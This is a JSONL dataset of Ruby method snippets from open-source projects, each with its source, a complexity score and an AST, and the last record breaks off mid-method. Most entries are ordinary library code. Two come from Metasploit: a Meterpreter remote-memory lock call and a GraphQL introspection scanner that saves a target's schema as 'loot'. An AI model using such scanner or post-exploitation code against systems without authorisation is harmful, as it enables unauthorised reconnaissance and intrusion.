{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/metrics/query.rb","start_line":146,"raw_source":"def total_avg(metric = \"ms\")\n          completed = totals[\"p\"] - totals[\"f\"]\n          return 0 if completed.zero?\n          totals[metric].to_f / completed\n        end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"total_avg\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"metric\",{\"type\":\"str\",\"children\":[\"ms\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"completed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"totals\"]},\"[]\",{\"type\":\"str\",\"children\":[\"p\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"totals\"]},\"[]\",{\"type\":\"str\",\"children\":[\"f\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"completed\"]},\"zero?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"totals\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"metric\"]}]},\"to_f\"]},\"/\",{\"type\":\"lvar\",\"children\":[\"completed\"]}]}]}]}","id":"df12ea00-460a-4712-8b01-04e3d291ba19"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/route_set.rb","start_line":822,"raw_source":"def generate_extras(options, recall = {})\n        if recall\n          options = options.merge(_recall: recall)\n        end\n\n        route_name = options.delete :use_route\n        generator = generate(route_name, options, recall)\n        path_info = path_for(options, route_name, [])\n        [URI(path_info).path, generator.params.except(:_recall).keys]\n      end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_extras\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"optarg\",\"children\":[\"recall\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recall\"]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"_recall\"]},{\"type\":\"lvar\",\"children\":[\"recall\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"route_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"use_route\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"generator\",{\"type\":\"send\",\"children\":[null,\"generate\",{\"type\":\"lvar\",\"children\":[\"route_name\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"recall\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path_info\",{\"type\":\"send\",\"children\":[null,\"path_for\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"route_name\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"lvar\",\"children\":[\"path_info\"]}]},\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"generator\"]},\"params\"]},\"except\",{\"type\":\"sym\",\"children\":[\"_recall\"]}]},\"keys\"]}]}]}]}","id":"d97e5b2e-4dd6-4cb9-a33e-da0ce9759798"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/supervisor.rb","start_line":1234,"raw_source":"def build_spawn_command\n      if ENV['TEST_RUBY_PATH']\n        fluentd_spawn_cmd = [ENV['TEST_RUBY_PATH']]\n      else\n        fluentd_spawn_cmd = [ServerEngine.ruby_bin_path]\n      end\n\n      rubyopt = ENV['RUBYOPT']\n      if rubyopt\n        encodes, others = rubyopt.split(' ').partition { |e| e.match?(RUBY_ENCODING_OPTIONS_REGEX) }\n        fluentd_spawn_cmd.concat(others)\n\n        adopted_encodes = encodes.empty? ? ['-Eascii-8bit:ascii-8bit'] : encodes\n        fluentd_spawn_cmd.concat(adopted_encodes)\n      else\n        fluentd_spawn_cmd << '-Eascii-8bit:ascii-8bit'\n      end\n\n      if @system_config.enable_jit\n        $log.info \"enable Ruby JIT for workers (--jit)\"\n        fluentd_spawn_cmd << '--jit'\n      end\n\n      # Adding `-h` so that it can avoid ruby's command blocking\n      # e.g. `ruby -Eascii-8bit:ascii-8bit` will block. but `ruby -Eascii-8bit:ascii-8bit -h` won't.\n      _, e, s = Open3.capture3(*fluentd_spawn_cmd, \"-h\")\n      if s.exitstatus != 0\n        $log.error('Invalid option is passed to RUBYOPT', command: fluentd_spawn_cmd, error: e)\n        exit s.exitstatus\n      end\n\n      fluentd_spawn_cmd << $0\n      fluentd_spawn_cmd += $fluentdargv\n      fluentd_spawn_cmd << '--under-supervisor'\n\n      fluentd_spawn_cmd\n    end","complexity_score":45.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_spawn_command\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEST_RUBY_PATH\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fluentd_spawn_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEST_RUBY_PATH\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fluentd_spawn_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServerEngine\"]},\"ruby_bin_path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rubyopt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RUBYOPT\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rubyopt\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"encodes\"]},{\"type\":\"lvasgn\",\"children\":[\"others\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rubyopt\"]},\"split\",{\"type\":\"str\",\"children\":[\" \"]}]},\"partition\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"match?\",{\"type\":\"const\",\"children\":[null,\"RUBY_ENCODING_OPTIONS_REGEX\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fluentd_spawn_cmd\"]},\"concat\",{\"type\":\"lvar\",\"children\":[\"others\"]}]},{\"type\":\"lvasgn\",\"children\":[\"adopted_encodes\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encodes\"]},\"empty?\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"-Eascii-8bit:ascii-8bit\"]}]},{\"type\":\"lvar\",\"children\":[\"encodes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fluentd_spawn_cmd\"]},\"concat\",{\"type\":\"lvar\",\"children\":[\"adopted_encodes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fluentd_spawn_cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"-Eascii-8bit:ascii-8bit\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@system_config\"]},\"enable_jit\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"str\",\"children\":[\"enable Ruby JIT for workers (--jit)\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fluentd_spawn_cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--jit\"]}]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"lvasgn\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Open3\"]},\"capture3\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fluentd_spawn_cmd\"]}]},{\"type\":\"str\",\"children\":[\"-h\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"exitstatus\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"error\",{\"type\":\"str\",\"children\":[\"Invalid option is passed to RUBYOPT\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"command\"]},{\"type\":\"lvar\",\"children\":[\"fluentd_spawn_cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"exit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"exitstatus\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fluentd_spawn_cmd\"]},\"<<\",{\"type\":\"gvar\",\"children\":[\"$0\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fluentd_spawn_cmd\"]},\"+\",{\"type\":\"gvar\",\"children\":[\"$fluentdargv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fluentd_spawn_cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--under-supervisor\"]}]},{\"type\":\"lvar\",\"children\":[\"fluentd_spawn_cmd\"]}]}]}","id":"53c6405d-f304-4b26-bfc6-6fc032892b86"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb","start_line":233,"raw_source":"def lock(base, length)\n    request = Packet.create_request(COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_LOCK)\n\n    request.add_tlv(TLV_TYPE_BASE_ADDRESS, base)\n    request.add_tlv(TLV_TYPE_LENGTH, length)\n\n    process.client.send_request(request)\n\n    return true\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"lock\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]},{\"type\":\"arg\",\"children\":[\"length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_LOCK\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_BASE_ADDRESS\"]},{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_LENGTH\"]},{\"type\":\"lvar\",\"children\":[\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process\"]},\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"41e440ce-ddff-4def-8c66-93cb711976d1"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/sharepoint/queries/open_file_link_query.rb","start_line":59,"raw_source":"def request_parent_id(http, drive_id, item_id)\n              drive_item_query.call(http:, drive_id:, item_id:, fields: %w[parentReference])\n                              .fmap { Peripherals::ParentFolder.new(it.dig(:parentReference, :id) || \"/\") }\n            end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"request_parent_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http\"]},{\"type\":\"arg\",\"children\":[\"drive_id\"]},{\"type\":\"arg\",\"children\":[\"item_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drive_item_query\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http\"]},{\"type\":\"lvar\",\"children\":[\"http\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"drive_id\"]},{\"type\":\"lvar\",\"children\":[\"drive_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"lvar\",\"children\":[\"item_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fields\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"parentReference\"]}]}]}]}]},\"fmap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Peripherals\"]},\"ParentFolder\"]},\"new\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"parentReference\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}","id":"e791ab95-9acb-4926-9caf-1b8cb3244315"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb","start_line":41,"raw_source":"def create_protected_branch(allowed_to_push:)\n        create(:protected_branch, branch_name: branch_name, project: project, allowed_to_push: allowed_to_push)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_protected_branch\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"allowed_to_push\"]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"protected_branch\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch_name\"]},{\"type\":\"send\",\"children\":[null,\"branch_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allowed_to_push\"]},{\"type\":\"lvar\",\"children\":[\"allowed_to_push\"]}]}]}]}]}","id":"59cd5f29-61ee-4179-ab1d-79a2e4838ca3"}
{"repo_name":"tty","file_path":"./repos/tty/lib/tty/templater.rb","start_line":51,"raw_source":"def generate(template_options, color_option)\n      templates.each do |src, dst|\n        source      = @source_path.join(src)\n        destination = @target_path.join(dst).to_s\n        next unless ::File.exist?(source)\n        within_root_path do\n          TTY::File.copy_file(source, destination,\n                    **{ context: template_options }.merge(color_option))\n        end\n      end\n    end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template_options\"]},{\"type\":\"arg\",\"children\":[\"color_option\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"templates\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"src\"]},{\"type\":\"arg\",\"children\":[\"dst\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source_path\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"src\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"destination\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target_path\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"dst\"]}]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"source\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_root_path\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TTY\"]},\"File\"]},\"copy_file\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"destination\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"template_options\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"color_option\"]}]}]}]}]}]}]}]}]}","id":"5dcff7af-a2d8-43a4-be40-615f7e951ed8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/oauth_provider_authorize_spec.rb","start_line":18,"raw_source":"def visit_oauth_device_authorization_path\n    visit oauth_device_authorizations_index_path(\n      user_code: user_code\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_oauth_device_authorization_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"oauth_device_authorizations_index_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_code\"]},{\"type\":\"send\",\"children\":[null,\"user_code\"]}]}]}]}]}]}","id":"3413187e-026e-4caf-8598-12ea28bae5e1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/graphql_introspection_scanner.rb","start_line":288,"raw_source":"def run\n    query = schema_dump_query\n    res = send_graphql_request(query)\n\n    if res.nil?\n      print_error(\"#{rhost}:#{rport} - The server did not send a response.\")\n      return\n    end\n\n    if res.code == 200\n      print_good(\"#{rhost}:#{rport} - Server responded with introspected data. Reporting a vulnerability, and storing it as loot.\")\n      graphql_service = report_graphql_service\n      report_graphql_vuln\n      report_graphql_web_vuln(graphql_service, query, res)\n      store_loot('graphql.schema', 'json', rhost, res.body, 'graphql-schema.json', 'GraphQL Schema Dump', graphql_service)\n    else\n      parsed_body = JSON.parse!(res.body)\n      if parsed_body.include?('errors') || parsed_body.include?('error')\n        print_error(\"#{rhost}:#{rport} - Server encountered the following error(s) (code: '#{res.code}'):\\n#{process_errors(parsed_body['errors'] || Array.wrap(parsed_body['error']))}\")\n      else\n        print_error(\"#{rhost}:#{rport} - Server replied with an unexpected status code: '#{res.code}'\")\n      end\n    end\n  end","complexity_score":55.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[null,\"schema_dump_query\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_graphql_request\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - The server did not send a response.\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Server responded with introspected data. Reporting a vulnerability, and storing it as loot.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"graphql_service\",{\"type\":\"send\",\"children\":[null,\"report_graphql_service\"]}]},{\"type\":\"send\",\"children\":[null,\"report_graphql_vuln\"]},{\"type\":\"send\",\"children\":[null,\"report_graphql_web_vuln\",{\"type\":\"lvar\",\"children\":[\"graphql_service\"]},{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"graphql.schema\"]},{\"type\":\"str\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"str\",\"children\":[\"graphql-schema.json\"]},{\"type\":\"str\",\"children\":[\"GraphQL Schema Dump\"]},{\"type\":\"lvar\",\"children\":[\"graphql_service\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_body\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"errors\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"error\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Server encountered the following error(s) (code: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\"'):\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_errors\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"errors\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"error\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Server replied with an unexpected status code: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}]}]}]}","id":"863328a4-c79d-4648-bfb6-f0a78ecfb445"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/provider_worker_mixin.rb","start_line":9,"raw_source":"def all_ems_in_zone\n      ems_class.where(:zone_id => MiqServer.my_server.zone.id)\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"all_ems_in_zone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ems_class\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"my_server\"]},\"zone\"]},\"id\"]}]}]}]}]}","id":"28267dd7-0270-4695-99b8-085b7eb84222"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/helpers/context_selector.rb","start_line":100,"raw_source":"def job_matches?(job_patterns)\n          Array(job_patterns).any? do |job|\n            pattern = job.is_a?(Regexp) ? job : Regexp.new(job)\n            pattern = Regexp.new(pattern.source, pattern.options | Regexp::IGNORECASE)\n            pattern =~ Runtime::Env.ci_job_name\n          end\n        end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"job_matches?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_patterns\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"job_patterns\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Regexp\"]}]},{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"job\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"options\"]},\"|\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"IGNORECASE\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"=~\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Env\"]},\"ci_job_name\"]}]}]}]}]}","id":"637956d6-6eab-4ada-8334-20eb3bb2d764"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/module.rb","start_line":41,"raw_source":"def building_for_mac?\n      if Gym.project.supports_mac_catalyst?\n        # Can be a mac project and not build mac if catalyst\n        return building_mac_catalyst_for_mac?\n      else\n        # Can be mac project but multiplatform and building for iOS\n        return false if building_multiplatform_for_ios?\n\n        return Gym.project.mac?\n      end\n    